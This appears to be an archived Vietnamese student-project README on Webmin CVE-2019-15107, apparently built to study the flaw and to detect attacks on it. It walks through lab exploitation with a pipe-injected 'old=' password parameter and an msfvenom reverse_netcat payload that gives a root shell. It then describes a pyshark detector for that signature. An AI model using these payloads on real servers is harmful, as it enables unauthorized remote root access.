关联漏洞
标题:
Webmin 命令操作系统命令注入漏洞
(CVE-2019-15107)
描述:Webmin是一套基于Web的用于类Unix操作系统中的系统管理工具。 Webmin 1.920及之前版本中的password_change.cgi存在命令操作系统命令注入漏洞。该漏洞源于外部输入数据构造可执行命令过程中,网络系统或产品未正确过滤其中的特殊元素。攻击者可利用该漏洞执行非法命令。
描述
school project
介绍
# detect-CVE-2019-15107-by-pyshark
I. Tổng quan về CVE-2019-15107
Webmin là một giao diện dựa trên web để quản trị hệ thống cho Unix. Sử dụng bất kỳ trình duyệt web nào, ta có thể thiết lập tài khoản người dùng, Apache, DNS, chia sẻ tệp và hơn thế nữa.
Ngày 10/8/2019 nhà nghiên cứu an ninh mạng người Thổ Nhĩ Kỳ Özkan Mustafa Akkuş đã công bố lỗ hổng Zero-day tại DefCon ngoài việc công bố lỗ hổng Akkuş cũng phát hành một modulo Metasploit nhằm tự động hóa việc khai thác lỗ hổng này. Do lỗ hổng thực thi mã trong chức năng đặt lại mật khẩu của tệp password_change.cgi, lỗ hổng này cho phép bên thứ ba thực thi mã độc mà không cần xác thực đầu vào.
II. Phiên bản ảnh hưởng
Lỗ hổng này ảnh hưởng tới các phiên bản của Webmin từ 1.882 đến 1.921. Để ngăn ngừa lỗ hổng này, các bạn đang sử dụng Webmin nên cập nhật lên phiên bản Webmin mới nhất 1.93
III. Phân tích lỗ hổng
Trong webmin, tính năng "cho phép thay đổi mật khẩu người dùng" cần phải được bật để khai thác lỗ hổng này. Đây là điều kiện duy nhất, tuy nhiên, nhiều người quản lý webmin kích hoạt tính năng này. Chúng cho phép người dùng đặt mật khẩu mới với mật khẩu cũ. Trong mã nguồn ứng dụng Webmin, có một số tệp ".cgi" đáng chú ý. Một trong số đó là password_change.cgi.

Chỉ có một yêu cầu để các tham số trong tệp này hoạt động, đó là giá trị "passwd_mode" trong tệp cấu hình "miniserv.conf" được đặt thành "2".

Tại thời điểm này, chúng tôi sẽ sử dụng "|" bằng cách đọc tệp /etc/shadow trong quá trình xác thực mật khẩu cũ. Ví dụ câu lệnh change password bình thường:

Nếu ta chèn thêm 1 lệnh đơn giản như “ifconfig” vào câu lệnh change password như hình dưới thì lệnh “ipconfig” đã được thực thi và kết quả được hiển thị.

IV. Mô hình triển khai
- Máy Ubuntu (victim) cài đặt webmin phiên bản 1.920 có địa chỉ IP: 192.168.109.128

- Máy Kali (attacker) có địa chỉ IP: 192.168.109.131

- Do CVE này thực thi dựa trên chức năng đặt lại mật khẩu khi mật khẩu cũ đã hết hạn của webmin nên victim phải cài đặt webmin ở chế độ đó là “Prompt users with expired password to enter a new one”.

V. Khai thác lỗ hổng CVE
- Bước đầu, máy attacker sẽ sử dụng Burp Suite để bắt những request gửi lên khi đổi mật khẩu trên webmin từ đường link: 192.168.109.128:10000/password_change.cgi (ip của vitctim)

- Sau đó máy attacker gửi request này qua tab Repeater của Burp Suite để thử lỗi.

- Attacker tiến hành chỉnh sửa một số thông tin từ gói request bắt được. Vì để thay đổi password thì HTTP Method phải là POST chứ không phải GET như ban đầu.

- Sau đó máy attacker sẽ gửi thử một request thay đổi password từ password cũ lên server webmin của victim:
“user=test&pam=&old=test&new1=test2&new2=test2”

- Khi gửi request, ta sẽ nhận được thông báo là mật khẩu cũ không khớp (The current password is incorrect) nên cốt lõi sẽ là ở tham số “old”
- Tiếp đến ta thử chèn một lệnh cơ bản như ifconfig vào sau tham số old để khi server check password cũ thì sẽ thực thi luôn câu lệnh ta chèn vào. Ví dụ như:
“user=test&pam=&old=test|ifconfig&new1=test2&new2=test2”

- Tương tự như trên, khi server kiểm tra password cũ thì vẫn là sai nhưng sau khi kiểm tra password đó thì lệnh “ifconfig” đã được thực thi và hiển thị.
- Sau đó, để có thể chiếm quyền root ta sẽ dùng Metasploit framework để tạo một payload gửi lên server webmin của victim để nhận shell session.
“msfvenom -p cmd/unix/reverse_netcat lhost=<attacker ip> lport=<attacker port>”

- Tiếp đến, ta copy payload và chèn vào request trên Burp Suite.

- Sau khi gửi request có chứa payload lên webmin server thì máy victim đã bị dính reverse shell. Máy attacker nhận được một shell session đến máy nạn nhân (ip: 192.168.109.128 port 37218).

- Như vậy, ta đã chiếm được root thông qua lỗ hổng CVE này.

VI. Xác định signature của cuộc tấn công
- Sử dụng Wireshark để bắt các gói tin trong lớp mạng.

- Vì để khai khác CVE này, attacker sẽ phải dựa vào đường link /password_change.cgi để gửi những request có chứa payload độc hại qua Method POST của HTTP nên ta sẽ phải phân tích các gói tin HTTP bắt được trên Wireshark.

- Ta thấy được lệnh “ifconfig” được chèn vào trong quá trình webmin server kiểm tra password cũ muốn thay đổi.


- Vì vậy, ta xác định được signature của CVE này là những tham số truyền vào trong quá trình thay đổi password qua đường link /password_change.cgi
“user=test&pam=&old=test | <lệnh attacker muốn thực thi> &new1=test2&new2=test2”
VII. Xây dựng công cụ phát hiện tấn công CVE-2019-15107
- Như đã phân tích bên trên, attacker muốn khai thác CVE này phải chèn command vào tham số old (“mật khẩu cũ”) để có thể thực hiện tấn công.

- Để có thể phát hiện được những ai đang cố gắng chèn lệnh dựa trên lỗ hổng CVE này, ta sẽ phải bắt và phân tích các gói tin HTTP mà họ gửi lên bằng công cụ “pyshark”.

- Data trong gói HTTP bắt được sẽ trả về dưới dạng Hex. Dựa vào tham số “old=” và “|” ta có thể biết được có ai đó đang cố gắng thực hiện khai thác CVE này. Hàm checkPayload để kiểm tra gói HTTP có vấn đề hay không.

- Tiếp đó, sau khi xác định được gói HTTP nào có vấn đề thì hàm getCommand sẽ in ra những command mà attacker đang thực hiện.

- Quá trình bắt và phân tích gói cũng được ghi lại dưới dạng .csv

VIII. Demo chương trình
- Khi attacker thực hiện tấn công chương trình sẽ cảnh báo realtime.

- Khi dừng chương trình thì sẽ ghi lại 1 file .csv các traffic bắt được trong quá trình chạy chương trình (payload http dưới dạng hex)

- Chương trình cũng ghi lại log các cảnh báo nguy hiểm.

IX. Kết luận
Qua quá trình học tập và làm các bài thực hành trên lớp em có thể hiểu phần nào về quá trình tìm hiểu và phân tích mã độc. Khi thực hiện việc khai thác và xây dựng chương trình phát hiện lỗ hổng CVE-2019-15107 em đã có thể áp dụng những kiến thức đã học vào việc phân tích và xây dựng chương trình phát hiện lổ hổng qua các signature nhờ đó nâng cao khả năng phân tích, phát hiện và xử lý các thông tin cũng như việc giám sát an ninh mạng.
文件快照
[4.0K] /data/pocs/e63c33d4fbf7a6dc6273a20e76f22a093139c191
├── [4.4K] backup.py
├── [3.9K] detect-cve-2019-15107.py
├── [243K] final.csv
├── [2.2K] logs.txt
├── [1.1K] poc.txt
├── [ 11K] README.md
└── [2.0K] unix_command.txt
0 directories, 7 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。